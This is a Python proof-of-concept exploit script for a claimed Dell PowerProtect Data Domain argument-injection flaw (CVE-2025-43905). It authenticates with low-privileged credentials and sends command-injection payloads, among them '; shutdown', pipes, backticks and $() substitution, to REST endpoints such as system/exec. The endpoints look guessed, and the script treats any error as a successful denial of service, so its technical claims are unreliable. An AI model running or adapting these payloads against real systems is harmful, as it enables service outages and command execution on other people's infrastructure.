# CVE-2025-43905 - Dell PowerProtect Data Domain Argument Injection PoC
# Vulnerability: Improper Neutralization of Argument Delimiters in a Command
# Impact: Denial of Service (DoS)
# Requirement: Low-privileged remote access
import requests
import socket
import sys
TARGET_HOST = "<target_ip>"
TARGET_PORT = 443 # Default management port
USERNAME = "low_priv_user"
PASSWORD = "password123"
class ArgumentInjectionExploit:
def __init__(self, host, port, username, password):
self.host = host
self.port = port
self.username = username
self.password = password
self.session = requests.Session()
def authenticate(self):
"""Authenticate to DD OS with low-privileged credentials"""
login_url = f"https://{self.host}:{self.port}/rest/v1.0/auth"
auth_data = {
"username": self.username,
"password": self.password
}
try:
resp = self.session.post(login_url, json=auth_data, verify=False)
if resp.status_code == 200:
print("[+] Authentication successful")
return True
except Exception as e:
print(f"[-] Auth error: {e}")
return False
def inject_argument_delimiters(self, command_endpoint, params):
"""
Inject argument delimiters (e.g., spaces, semicolons, newlines)
into command parameters to trigger argument injection
"""
# Craft payload with delimiter injection
delimiter_payloads = [
"value; shutdown", # Command separator injection
"value -invalid_flag", # Flag injection
"value\nmalicious_cmd", # Newline injection
"value && malicious_cmd", # AND operator injection
"value | malicious_cmd", # Pipe injection
"value `malicious_cmd`", # Backtick injection
"value $(malicious_cmd)", # Command substitution
]
for payload in delimiter_payloads:
url = f"https://{self.host}:{self.port}/rest/v1.0/{command_endpoint}"
data = {**params, "param": payload}
try:
resp = self.session.post(url, json=data, verify=False)
print(f"[*] Sent payload: {payload[:50]}... Status: {resp.status_code}")
except Exception as e:
print(f"[+] Possible DoS triggered: {e}")
return True
return False
def exploit(self):
if not self.authenticate():
print("[-] Exploitation failed: cannot authenticate")
return
# Target command endpoints that may be vulnerable to argument injection
target_endpoints = [
("system/exec", {"cmd": "status"}),
("filesystems/expand", {"name": "test"}),
("admin/diagnostics", {"action": "run"}),
]
for endpoint, params in target_endpoints:
print(f"[*] Targeting endpoint: {endpoint}")
if self.inject_argument_delimiters(endpoint, params):
print(f"[+] DoS achieved on {endpoint}")
break
if __name__ == "__main__":
exploit = ArgumentInjectionExploit(TARGET_HOST, TARGET_PORT, USERNAME, PASSWORD)
exploit.exploit()